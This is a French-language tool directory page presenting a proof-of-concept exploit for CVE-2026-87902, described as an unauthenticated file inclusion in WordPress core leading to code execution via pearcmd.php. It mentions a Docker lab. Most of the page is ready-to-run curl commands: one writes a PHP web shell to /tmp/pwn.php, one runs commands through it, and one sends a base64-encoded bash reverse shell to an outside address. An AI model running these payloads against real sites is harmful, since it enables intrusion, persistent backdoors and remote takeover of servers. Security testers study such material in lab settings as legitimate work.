Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wordpress-cve-2026-87902 — Proof-of-concept d'exploit pour CVE-2026-87902, une LFI non authentifiée du cœur de WordPress menant à une RCE via pearcmd.php, avec un laboratoire Docker et des scripts d'exploit curl/Python. | Kitploit
Outils/GitHubGitHub/nextco/wordpress-cve-2026-87902
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionLabs et Pratique
GitHubnextco/wordpress-cve-2026-87902

wordpress-cve-2026-87902

Proof-of-concept d'exploit pour CVE-2026-87902, une LFI non authentifiée du cœur de WordPress menant à une RCE via pearcmd.php, avec un laboratoire Docker et des scripts d'exploit curl/Python.

Voir le dépôt
31il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87902 — LFI conditionnelle

Love for Humans - Keep Simple

WordPress Core <= 7.1.1 — LFI non authentifiée (chargeur de template pagename) → RCE via pearcmd.php & peclcmd.php

Lancer le lab docker

cd docker && docker compose up -d

Exploit - curl

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'


# Reverse Shell
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'

Exploit — python

python3 exploit-pear.py

Crédits : https://github.com/ressl/cve-2026-87902-poc

Télécharger l’outil